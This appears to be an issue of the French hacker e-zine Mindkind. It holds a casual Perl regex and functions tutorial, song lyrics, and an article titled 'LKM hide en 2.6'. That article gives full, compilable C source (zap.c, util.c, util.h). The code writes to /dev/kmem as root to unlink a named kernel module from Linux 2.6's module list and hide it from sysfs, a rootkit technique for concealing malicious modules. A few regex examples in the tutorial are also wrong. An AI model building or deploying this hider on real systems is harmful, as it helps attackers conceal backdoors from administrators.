Bon   sans   plus   tarder   voici  le  topo   sur   les   regex,  suivit   de
certaines fonctions cool qui nous rende  la vie facile et la compréhension  du
code impossible par ceux qui les connaissent pas ;-)


Regex
¯¯¯¯¯
Pour ceux  qui savent  pas pentoute  c'est quoi  les regex,  bien pauvre  vous
autres vous  avez une  petite longueur  d'avance à  rattraper.. Je  suggère de
regarder egrep  dans unix,  mais attention  Perl marche  pas exactement  comme
egrep.. Dans tout  les cas je  crois que vous  allez pouvoir vous  débrouiller
juste avec le tuto ici.. je vais partir du début.

Les regex servent a matcher du  texte selon des patterns que vous  définissez.
En gros l'engine de regex parse le texte pour vous et tante de trouver ce  que
vous lui avez  demandé. Tout plein  de caractères spéciaux  sont donc utiliser
pour faire des  contraintes. Donc principalement,  ce que vous  avez besoin de
savoir, c'est de comment utiliser ces caractères spéciaux, et quel texte  vous
voulez matcher. On va supposé que vous êtes pas trop vedge et que vous  pouvez
savoir ce que vous voulez chercher. Bon ok; pour les stoned : Chercher le  mot
"meuh" dans la phrase "allo meuh"... *sigh*

Pour les courageux et ceux qui veulent venir les plus leets au monde avec  les
regex (surtout  si vous  saviez pas  c'était quoi  avant la,  pis que la c'est
rendu  votre  nouveau trip  depuis  2 paragraphes)  je  vous conseil  de  lire
Mastering Regular Expression  dans la collection  O'Reilly (les 2  hiboux). Ya
pas plus complet  que ça, et  ça porte pas  juste sur le  Perl.. mais bien les
regex en général, avec bien sur, Perl en premier plan.

Bon nous  allons donc  commencer avec  le début  du commencement  de la chose,
savoir si un mot  existe dans une phrase,  strstr pour les C/PHP  freaks. Perl
(voulant faire à sa tête  comme d'habitude) propose une syntaxe  spéciale, qui
est toute sauf un call a une fonction :
$a =~ /meuh/;
Permet de savoir si l'occurrence "meuh" apparaît dans $a, en faite ça retourne
de koi qui peut être interprété comme un true/false:
if ($a =~ /meuh/) {
	print "jai trouvé meuh!";
}
Simple et pas trop chiant.. il est  a noter que les // sont les  déléminateurs
par défaut, et que on peut les remplacer avec qr// (exemple : $a -~ qr"meuh").
Bon alors jusque la, c'est simple, rapide, terriblement efficace (lalala) mais
vu que j'ai pas envie que ça le reste longtemps  (sinon on va s'endormir),  on
va maintenant  introduire un  concept plus  avancer qui  va nous  aider a bien
comprendre le  "pourquoi la  même chose  fait pas  la même  affaire". Avec les
regex en perl, on peut grouper de 2 manières les caractères dans notre  search
pattern.  La  search  pattern  elle  même est  entre  //  par  défaut,  et les
groupements sont ()  pour regrouper des  caractère dans un  block, et []  pour
regrouper le tout de façon à créer un range. o_O me direz vous, on va y  aller
avec des exemples, histoire de comprendre ça :
$a =~ /[A-Z][a-z]/;
Cte ligne la va checker si un char entre  A et Z suivi d'un char entre a et  z
(case sensitive hein!) match dans notre $a.. On peut aussi donner une série de
char a matcher, genre si on veut trouver un a ou un d ou un e :
$a =~ /[ade]/;
Et bien sur on peut  y aller avec [0-9]. Si  on veut trouver le contraire  (ce
qui n'est pas) on peut faire [^0-9] ce qui va nous sortir true si on match des
pas de 0 à 9.

Bon la  prenez un  peu de  temps a  réfléchir a  la chose  suivante : la regex
retourne un true lorsqu'elle  trouve ce que on  lui demande. C'est un  concept
important a comprendre, car  c'est comme ça qu'on  va pouvoir faire des  tests
dans des chaînes  avancés, faire des  find and replace  puissant et ultimement
arriver a comprendre les chaînes elles même (le vrai parsing!).

Bon si on continue  dans nos groupements, les  () servent a faire  un ensemble
qui est "catché" (attrapé).. pour l'instant ça donne rien d'intéressent :
$a =~ /(meuh)/;
et si jamais on trouve "meuh" dans  $a, et bien une variable magique nommé  $1
va être créer a la prochaine ligne,  et elle va contenir ce qui est  entre (),
donc "meuh". Pas très utile pour l'instant, mais c'est la base du parsing.

Bon maintenant qu'on a  vu les différentes parenthèses,  on va voir ce  que je
voulais dire  par "2  fois la  même chose".  En regex  ya plusieurs caractères
spéciaux, en faite y'en a une tonne, tellement que certains change en fonction
des parenthèses.. par exemple le ^ de tantôt, qui entre [] donne une négation,
si on la mets entre // (donc par défaut), ça va tenter de matcher au début  de
la string uniquement. Donc,
$a =~ /^meuh/;
va retourner un true seulement si meuh est au début de la ligne. si $a = "blah
meuh", ça va  être false. Un  autre exemple du  genre le point  (.). Il sert a
matcher  n'importe kel  caractère entre  // mais  entre []  il va  matcher le
caractère . lui-même. Donc,
$a =~ /./; # true si ya au moins un caractère dans $a
$a =~ /[.]/; # true si ya au moins un . dans $a
$a =~ /\./; # true si ya au moins un . dans $a
Et oui, le \ sert a "backslasher"..  hehe Donc dès que vous voulez matcher  un
caractère  spéciaux en  regex, vous  avez qu'a  mettre \  devant, et  Perl va
s'occuper de matcher le vrai caractère..
$a =~ /\[/; # match un [
A part ça il y a  le | qui est intéressent. Il  permet de faire un OU dans  le
match, donc au lieu de faire :
$a =~ /meuh/ or $a =~ /pwet/;
on peut faire facilement :
$a =~ /meuh|pwet/; # match meuh ou pwet
Ensuite de tça, il y a le $, qui sert a matcher a la fin de la string (comme ^
mais à la fin).. Donc,
$a =~ /meuh$/; # match seulement si meuh est a la fin de la string $a
Evidemment on peut aussi matcher  autre chose que des caractères  normaux, par
exemple on peut matcher  un retour de ligne  \n un form feed  \f un tab \t  ou
n'importe kel espacement \s. Donc
$a =~ /\s/; # match si ya un espace (un " " ou un "TAB" dedans)

Tout ça est bien  plaisant, mais maintenant si  vous voulez commencer a  faire
des matchs plus  complets, il vaut  faudra matcher autre  chose que juste  des
"mots définies" tel que  pwet ou meuh. Pour  ce faire on utilise  2 choses, la
première les caractères spéciaux \w  et \d, qui remplace respectivement  [A-Za
-z_] et [0-9]. Donc \w  match une lettre ou un  underscore.. et si on en  veut
plusieurs il faut utiliser des quantifieurs.

Les quantifieurs sont les suivants :
? pour 0 ou une fois
+ pour 1 ou plusieurs fois
* pour 0 ou plusieurs fois
{1,5} pour de 1 fois à 5 fois

On peut donc les appliquer sur ce qu'on veut dans les caractères pour matcher :
$a =~ /a+/; # match 1 ou plusieurs a
$a =~ /.{2,4}/; # match 2, 3 et 4 caractères
$a =~ /\d?/; # match 0 ou 1 chiffre
$a =~ /\w*/; # match rien pentoute ou plusieurs [A-Za-z_] (useless un peu..)

Faite attention cependant quand vous mettez entre () des affaires, par exemple
(\w)+ va juste mettre dans $1 une seule lettre
(\w+) va mettre le mot au complet (plusieurs lettres) dans $1

Parlant de $1 et compagnie, assayer de figurer le coté pratique de la chose.
Si vous avez
$a =~ /blah(\d+)/;
Vous allez vous ramasser a la ligne suivante avec un chiffre dans $1. Si vous
êtes pas sur si c'est $1 ou $2 la derniere variable matcher, par exemple
$a =~ /"(\w+)"|'(\w+)'/
utiliser $+, qui va vous retourner le dernier match.

Maintenant que vous êtes parti en peur avec les $1, vous avez surement envie
d'utilisé le $1 dans le même match, du genre :
$a =~ /blah(\d+).*meuh($1)/ # ERREUR!
Malheureusement perl va checker  le $1 d'avant car  ya pas fini d'exécuter  la
regex. Donc, pour faire  ce que vous voulez  (matcher 2 fois les  memes digits
\d+) il vous faut :
$a =~ /blah(\d+).*meuh(\1)/ # fun fun

Une utilité  pratique des  regex se  retrouve dans  le "find  and replace". Il
arrive souvent qu'on veulent éditer  le contenue d'une variable live  (exemple
quand on trim les inputs/outputs vers des sites web pour empêcher le XSS).  En
perl on peut simplement faire la substitution de la manière suivante :
$a =~ s/pwet/meuh/;
Ainsi tout ce qui match pwet dans $a va être changer par meuh. Si jamais il  y
a plusieurs pwet dans $a et on veut tout les changer, on doit utiliser /g :
$a =~ s/pwet/meuh/g;
qui va prendre tout les pwet et les changer en meuh.
N'oublier pas que toute ce qui est matcher va être remplacer, donc si on fait
$a =~ s/\d/_/g;
ça va remplacer tout les digits [0-9] par _ dans $a.

Perl offre un moyen simple pour faire du find and replace dans un fichier :
perl -p -i -e 's/pwet/meuh/g' fichier.txt
va faire la  job dans le  fichier.txt. Un peu  plus pratique que  sed car vous
avez pas  a vous  faire chier  avec le  output et  le mettre  dans un  fichier
temporaire. Le -p sert a parcourir tout le fichier, le -i sert a remplacer  la
ligne dans le fichier, et le -e  pour exécuter directement ce qu'il y a  entre
''.

Parlant de fichier, perl offre aussi une manière de modifier une variable  qui
contient  plusieurs  lignes, et  la  traiter ligne  par  ligne (un  peu  comme
l'exemple précédent). Pour ce faire  vous devez utiliser /m qui  s'occupera de
traiter la variable comme une variable  a multiple lignes, donc de refaire  la
regex sur chaque ligne au lieu que sur le tout. Ce que ça donne? Eh bien on va
"slurper" (prendre le contenu intégral) un file dans une variable pour voir:
  undef $/; # enable le "slurp"
  $slurped = <>; # on slurp!
En suite on peut s'amuser a faire des matchs sur $slurped:
  $slurped =~ s/^$//mg; # efface les lignes vides
  $slurped =~ s/^\s*$//mg; # efface les lignes vides avec des espaces
  $slurped =~ s/^$//mgx; # efface les lignes vides avec des espaces
( le /x sert a ignorer les espaces.)
Si on aurait omit le /mg dans la premiere ligne, on aurait assayer de  matcher
la totalité de $slurped avec la regex (donc on aurait vérifier si $slupred est
vide).

Les regex  étant vaste,  et ceci  étant seulement  un tutorial,  je vais  vous
envoyez  quelque  bidules  en  vrak  intéressent,  mais  dites  vous  que   en
réfléchissant un peu, vous pouvez arriver a faire tout ce que vous voulez avec
ces merveilleuses regex...

$myregex = qr/aaa/i; # permet davoir une regex dans une variable
$pwet =~ $myregex; # dont peut être utiliser comme ça

$ayoye =~ /(.+)*/; # ligne carrément stupide car va assayer de matcher
                   # n'importe quoi. utilitée? benchmark de cpu ;-)

Un concept intéressent, le lookahead (?=) et lookbehind (?<=)
$a =~ s/(?<=meuh)(?=pwet)/_/g; # va remplacer meuhpwet par meuh_pwet
$a =~ s/(?<=)pwet/_pwet/g; # meme chose
$a =~ s/meuh(?=pwet)/meuh_/g; # meme chose
$a =~ s/?<=\bmeuh)(?=pwet\b)/_/g; # encore plus puissant car va remplacer
"a meuhpwet unf" par "a meuh_pwet unf" et "ameuhpwetunf" va pas matcher.
Le \b sert  a dire que  c'est le "boundarie"  du mot. Donc  que ça va jusqu'au
espaces. A ne pas confondre avec \b... haha n'oublier pas que certaines choses
peuvent changer s'il ne sont  pas entre (). \b sans  les () sert a matcher  le
caractère backspace.


Perl Functions
¯¯¯¯¯¯¯¯¯¯¯¯¯¯
> >> Quoi faire avec un hash le samedi soir
> Afficher les clefs d'un hash
  print keys %pwet;
> Qui sert à afficher le contenue du hash
  foreach (keys %pwet) {
    print "\$pwet{$_} = $pwet{$_}\n";
  }
> Si je veux rien savoir des clefs, mais je veux que la liste des valeurs
  print values %pwet;
> Si je veux les clefs et les valeurs sans trop d'efforts
  while ( ($clef, $valeur) = each %pwet ) {
    print "\$pwet{$clef}{$valeur}\n";
  }
> Remarquer dans le dernier exemple que on utilise un while et non un foreach.
  La fonction each itère  à travers  le hash, au lieu  de carrément  retourner
  une liste. L'avantage de tça c'est si le hash est vraiment big, on aura  pas
  une grosse copie de mémoire  pour rien. De plus, si  le hash est  tie à   un
  gros   file  en  netbios   via   tokering sur   un   serveur  286,  utiliser
  keys/values va etre slow car il va toute slurper le hash d'une shoot, tandis
  que each va y aller clef/valeur par clef/valeur et donc le processing va  se
  faire pendant que ça lit au lieu d'après.
> Si on veut scrapper une entry dans un hash a partir de sa clef
    if (exists $pwet{meuh}) {
      delete $pwet{meuh};
    }
  Si jamais vous faite
    $pwet{meuh} = "";
  vous n'allez pas scrapper la  clef, mais simplement effacer la  valeur. Même
  chose si vous faite  undef $pwet{meuh} ça va  mettre la valeur sous  la clef
  meuh a undef et non l'effacer. D'où l'utilité du delete. En passant, si vous
  travailler avec des références, faites très attention car
    if (exists $pwet->{a}->{b}) {;}
  va "autovivifier" le hash. Donc perl  va créer lui meme les référence  quand
  vous allez  faire le  exists. Comme  quoi des  fois les  features deviennent
  facilement des bugs.
  
  
> >> Quoi faire avec un array après le hash du samedi soir
> On a déjà vu dans les tuto précédents les fonction push/pop/shift/etc.
  De plus, les fonctions exist et delete fonctionne aussi avec les array.
    foreach (0..$#pwet) {
      delete $$pwet[$_];
    }
  même chose que
    delete @pwet[0..$#pwet];
  même chose que
    @pwet = ();
  et même chose que
    undef @pwet;
  Si vous voulez  effacer TOUT le  contenu d'un array,  c'est mieux d'y  aller
  avec un = () ou un undef,  mais par contre les autres on leur  utilité quand
  vous  voulez delete  une partie.  En passant  si vous  faite un  delete  sur
  $pwet[2], le $pwet[2] va pu exister dans un foreach @pwet, mais si  l'espace
  pour la valeur [2] va être libre, donc un push va mettre ça dans [3].
> splice permet de faire des choses cool, car vous prennez un array,  aller  à
  un offset,  prendre une  longueur  et  vous remplacer  ça  par  ce que  vous
  voulez, voici des équivalences :
  pop(@a) <=> splice(@a, -1)
  shift(@a) <=> splice(@a, 0, 1)
  $a[$x] = $y <=> splice(@a, $x, 1, $y)

> >> La magie du undef (c'est pas une fonction mais ça peut en être une.. hum)
> undef est spécial en perl. Il ne s'agit pas de "" (string vide) ni de 0
 (valeur numérique 0), il s'agit de rien pentoute. Et ce rien pentoute ne peut
 pas être utiliser dans un if. Vous devez donc faire :
    if (defined $var) {;}
  pour voir si la variable en question est a undef. En plus, undef agit  comme
  un opérateur et permet de scrapper la variable
    undef $var;
  Et comme si c'était pas assé, on peut se servir de undef comme valeur
    $var = undef;
  On  peut  donc  arriver  a  faire des  choses  folles  tel  que  skipper une
  assignation (maintenant undef rempalce une variable!)
    my ($a, $b, undef, $c) = @pwet; # $pwet[2] va être perdu dans malle
  et tant qu'a faire, on peut faire une chose totalement inutile!
    undef = $pwet; # fait rien pentoute ;-)
    
> >> un foreach sans foreach qui retourne une liste de $_
> Reprennez votre souffle, je voulais juste dire "map" au lieu de se titre la.
  mais bon mon titre est plus  explicatif que map, malgres que le  concept est
  fun :
    foreach (@meuh) {
      print;
    }
  va donner  la meme  chose que  les lignes  suivantes (qui  donnent eux-mêmes
  toute  la  meme  chose!).  En  passant,  n'oublier  pas  que  $_  existe par
  "défaut"..
    map { print } @meuh;
    map { print $_ } @meuh;
    map print, @meuh;
> map retourne aussi une valeur : la liste des $_ changer, donc peut faire  un
  genre de replace ou de processing avec un array :
    @pwet = map { lc } @meuh; # les valeurs de @meuh dans @pwet en lowercase!

> >> un foreach sans foreach qui retourne une liste sélective de $_
> Aussi appellé
    @pwet = map { EXPR ? $_ : () } @meuh;
  Mais appellé par ses amis comme étant le "grep" de perl..
    @pwet = grep { EXPR } @meuh; # même chose que le map de lautre ligne
  L'EXPR se trouve à être un match avec $_, on peut donc y mettre une regex
    @subdir = grep !/\.|\.\./, @DIRLIST; # enleve les dirs . et .. de
                                         # DIRLIST et fout ça dans @subdir
  Donc on peut arriver a faire ça :
    @adultes = grep { $bleh{$_}{age} >= 18 } keys %bleh;
  cool. heh.



Bon voila, on vient de voir quelques affaires puissant en perl. Dites vous que
rendu a ce tuto  la, le reste ce  qu'il reste a voir  en perl, c'est soit  des
modules ou des extensions par défaut  de Perl, mais la la base,  nous  l'avons
presque tout  couvert (sans  bien sur  avoir couvert  les subtilités, qui sont
très subtiles d'ailleurs) ce que Perl peut offrir. Mais bon, avec les zillions
de  modules disponible  sur CPAN,  et les  tonnes de  modules par  défaut,  le
plaisir de  continuer  a  apprendre  avec  Perl  peut  se  poursuivre  jusqu'à
l'infini.. à l'infini.. à l'infini...

Note :  Cet article  remporte le  record guiness (vous savez la bière la)   de
l'article  le plus long a produire de l'histoire. Il a été écrit sur papier en
décembre 2003,  et (vu  que le  #4 de  mes  articles  de perl était  déjà assé
long) garder  en archive, pour  être écrit  au 1/4  quelques  semaines  après.
Cependant  le dernier  jet  a été donner en  août 2004, soit 8  mois après son
écriture. Beat this.



                                                                   - LastCall_


.----------------------------------------------- - - --- - ---
| LastCall_   [lastcall at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -




Harvey Danger---Flagpole Sitta
euquivo


I had visions, I was in them 
I was looking into the mirror 
To see a little bit clearer 
Rottenness and evil in me i 
Fingertips have memories 
Mine can't forget the curves of your body 
And when I feel a bit naughty 
I run it up the flagpole and see who salutes 
(but no one ever does) 
I'm not sick but (I'm not well 
And I'm so hot cause I'm in hell 
Been around the world and found 
That only stupid people are breeding 
The cretins cloning and feeding 
And I don't even own a TV 
Put me in the hospital for nerves 
And then they had to commit me 
You told them all I was crazy 
They cut off my legs now I'm an amputee, god damn you 
I'm not sick but I'm not well 
And I'm so hot cause i'm in hell 
I'm not sick but I'm not well 
And it's a sin to live so well 
I wanna publish zines 
And rage against machines 
I wanna pierce my tongue 
It doesn't hurt, it feels fine 
The trivial sublime 
I'd like to turn off time 
And kill my mind 
You kill my mind 
Paranoia paranoia 
Everybody's coming to get me 
Just say you never met me 
I'm going underground with the moles 
Hear the voices in my head 
I swear to god it sounds like they're snoring 
But if you're bored then you're boring 
The agony and the irony, they're killing me 
I'm not sick but I'm not well 
And I'm so hot cause I'm in hell 
I'm not sick but I'm not well 
And it's a sin to live so well



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__
¦
|           mkd.14  LKM hide en 2.6
:                        aka 'cachez ces modules que je ne saurais voir'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |


Intro
¯¯¯¯¯
Cet article démontre un code en C qui permet de cacher des LKM dans Linux  2.6.
Il n'y a pas réellement de code à ce sujet de disponible sur le web pour 2.6  à
l'instant  même.  Pour ceux  qui  voudrait savoir  comment  tout ça  fonctionne
exactement, on vous suggère de lire
  Documentation/kobject.txt
  Documentation/filesystems/sysfs.txt
Dans le répertoire de votre kernel 2.6 favoris.
Pour  ceux qui  ont aucune  batarde d'idée  de quoi  nous parlons  présentement
(et/ou son rapport avec le hacking), retourner jouer à Counter-Strike ou  aller
lire l'article de agonn (Backdoors  demystified) dans Brainfaktor #1
( http://brainfaktor.org/ ).


Concepts
¯¯¯¯¯¯¯¯
Le kernel Linux 2.6  garde en mémoire une  liste chainée qui contient  tous les
modules. Il nous  suffit donc de  trouver le commencement  de la liste  dans le
kernel, de suivre la liste, de trouver le module en question et de l'enlever de
la liste en interchangeant les pointeurs  perv et next des modules adjacents  a
celui qu'on veut hider :
  lprev.next = lh.next;
  lnext.prev = lh.prev;
  kwrite(f, &lprev, sizeof(modules), (unsigned long)lh.prev);
  kwrite(f, &lnext, sizeof(modules), (unsigned long)lh.next);


Notre implémentation est en faite un  "hider" qui s'occupe de chercher pour  un
nom de module. Cette technique peut être aussi utiliser par le module lui  même
pour se cacher lui même.

Cette technique n'est pas parfaite, car  en fait on peut trouver facilement  le
module en regardant dans sysfs avec "mount -t sysfs none /sys". sysfs étant  un
file system garder seulement en RAM, nous pouvons donc l'enlever de la liste de
sysfs en enlevant son directory de la structure en mémoire (dcache) :
  kread(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int));
  d_flag |= 0x0010;
  kwrite(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int));

De plus, il y a  toujours moyen d'aller chercher en  RAM pour le nom du  module
dans la structure kobject:
  struct kobject {
    char                  name[KOBJ_NAME_LEN];
    atomic_t              refcount;
    struct list_head      entry;
    struct kobject        * parent;
    struct kset           * kset;
    struct kobj_type      * ktype;
    struct dentry         * dentry;
  };

Si vous voulez vous amusez vous pouvez donc gosser un petit code qui search  en
mémoire pour les kobject et qui regarde les name.


Pratique
¯¯¯¯¯¯¯¯
Évidemment essayer pas de rouler ce code la sur du 2.4, ça marche pas pentoute.
Si vous voulez du 2.4 aller voir sur le web tel que :
  http://www.freemode.net/archives/000137.html

Avant de compiler, il faudrait aussi que vous ajuster KERNEL_START et KERNEL_END
avec votre System.map :
  startup_32 == KERNEL_START
  _end == KERNEL_END
Si vous prenez ces valeurs la, ca devrait marcher.

Le code est pour  x86, et évidamment vous  devez être root pour  l'exécuter. Si
grsecurity est installé et configuré pour protéger l'écriture du /dev/kmem,  le
code ne fonctionnera pas.


Le code
¯¯¯¯¯¯¯
Pour  bien comprendre  on vous  conseil de  lire le  code (qui  est très  bien
undocummented!). Le zap.c contient  les parties les plus  intéressantes, util.c
contient  seulement  les  fonctions  pour jouer  dans  le  kernel.  Les valeurs
KERNEL_START et KERNEL_END sont dans util.h

Pour compiler, utilisé simplement "gcc -o zap zap.c util.c".


----------- 8< cut here ---------[ zap.c ]--------- cut here 8< -----------

#include "util.h"


void usage();

int main(int argc, char *argv[])
{
	int f, c;
	unsigned long cpt, mod, kob;
	unsigned int d_flag;
	struct list_head lh, lprev, lnext;
	struct kobject k;

	modName = NULL;
	name = NULL;
	while ((c = getopt (argc, argv, "b:e:m:")) != -1)
	{
		switch(c)
		{
			case 'b':
				break;
			case 'e':
				break;
			case 'm':
				modName = (char *) malloc(strlen(optarg) + 1);
				strncpy(modName, optarg, strlen(optarg));
				break;
			default:
				usage();
				abort();
		}
	}
	
	if (modName == NULL)
	{
		usage();
		abort();
	}	


	f = open("/dev/kmem", O_RDWR);
	cpt = KERNEL_START;
	name = (char *) malloc(strlen(modName) + 1);

	while ((kread(f, &lh, sizeof(modules), cpt)) == sizeof(modules) && cpt < KERNEL_END)
	{
		if (verify(f, cpt, cpt, (unsigned long)lh.next) == 1)
		{
			if ((mod = findMod(f, cpt, (long)lh.next)) > 0)
			{
					kread(f, &kob, sizeof(kob), (unsigned long)(mod + sizeof(modules) + MODULE_NAME_LEN));
					kread(f, &k, sizeof(k), (unsigned long)kob);
					if (k.dentry != NULL)
					{
						kread(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int));
						d_flag |= 0x0010;
						kwrite(f, &d_flag, sizeof(d_flag), (unsigned long)k.dentry + sizeof(int));
					}
			        	kread(f, &lh, sizeof(modules), mod);
					kread(f, &lprev, sizeof(modules), (unsigned long)lh.prev);
					kread(f, &lnext, sizeof(modules), (unsigned long)lh.next);
					if (lh.prev == lh.next)
					{
						lprev.next = lh.next;
						lprev.prev = lh.next;
						kwrite(f, &lprev, sizeof(modules), (unsigned long)lh.next);
					} else {
						lprev.next = lh.next;
						lnext.prev = lh.prev;
						kwrite(f, &lprev, sizeof(modules), (unsigned long)lh.prev);
						kwrite(f, &lnext, sizeof(modules), (unsigned long)lh.next);
					}	
			}
		}
		cpt++;
	}
	if (name != NULL)
		free(name);
	if (modName != NULL)
		free(modName);

	return 0;
}

void usage()
{
	printf("Usage:zap -m ModuleName\n");
}

----------- 8< cut here ---------[ EOF ]--------- cut here 8< -----------



----------- 8< cut here ---------[ util.c ]--------- cut here 8< -----------

#include "util.h"

int kread(int f, void *p, int size, unsigned long offset)
{
        lseek(f, offset, SEEK_SET);
        return read(f, p, size);
}

int kwrite(int f, void *p, int size, unsigned long offset)
{
        lseek(f, offset, SEEK_SET);
        return write(f, p, size);
}

int verify(int f, unsigned long start, unsigned long cur, unsigned long next)
{
        struct list_head lh;

        if (kread(f, &lh, sizeof(modules), next) != sizeof(modules))
                return -1;
        if ((long)lh.prev == cur)
        {
                if ((long)lh.next == start)
                        return 1;
                else
                        return verify(f, start, next, (long)lh.next);
        }
        else
                return 0;
}

unsigned long findMod(int f, unsigned long start, unsigned long cur)
{
        struct list_head lh;
        if (cur == start)
                return 0;

        if (kread(f, &lh, sizeof(modules), cur) != sizeof(modules))
                return -1;

        kread(f, name, strlen(modName),(long)(cur + sizeof(modules)));
        if (strncmp(name, modName, strlen(modName)) == 0)
                return cur;
        else
                return findMod(f, start, (long)lh.next);
}

----------- 8< cut here ---------[ EOF ]--------- cut here 8< -----------



----------- 8< cut here ---------[ util.h ]--------- cut here 8< --------
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>

struct list_head {
        struct list_head *next, *prev;
};

#define KERNEL_START 0xc0100000
#define KERNEL_END   0xc0424000
#define KOBJ_NAME_LEN   20

#define LIST_HEAD_INIT(name) { &(name), &(name) }

#define LIST_HEAD(name) \
       struct list_head name = LIST_HEAD_INIT(name)

#define MODULE_NAME_LEN (64 - sizeof(unsigned long))

static LIST_HEAD(modules);
char *name;
char *modName;

struct dentry {
        int	padding;
        unsigned int d_flags;
};		

struct kobject {
        char                    * k_name;
        char                    name[KOBJ_NAME_LEN];
	char			padding[24];
	struct dentry           * dentry;
};

enum module_state
{
        MODULE_STATE_LIVE,
        MODULE_STATE_COMING,
        MODULE_STATE_GOING,
};

struct module_kobject
{
        struct kobject kobj;
        unsigned int num_attributes;
};



struct module
{
        enum module_state state;
        struct list_head list;
        char name[MODULE_NAME_LEN];
	struct module_kobject *mkobj;
};

int verify(int, unsigned long, unsigned long, unsigned long);
int kwrite(int, void *, int,unsigned long);
int kread(int, void *, int, unsigned long);
unsigned long findMod(int, unsigned long, unsigned long);


----------- 8< cut here ---------[ EOF ]--------- cut here 8< --------------


The end
¯¯¯¯¯¯¯
On   vous   invite   à  envoyer   vos   comments/statèges  pour  trouver  le
module/solutions additionnelles à mk@mindkind.org.

                                    - The 30 minutes lemurians from Mindkind
                                        that will code for p0rn (thx Zarath)


.----------------------------------------------- - - --- - ---
| Mindkind   [mk at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



bananaphone.







EOF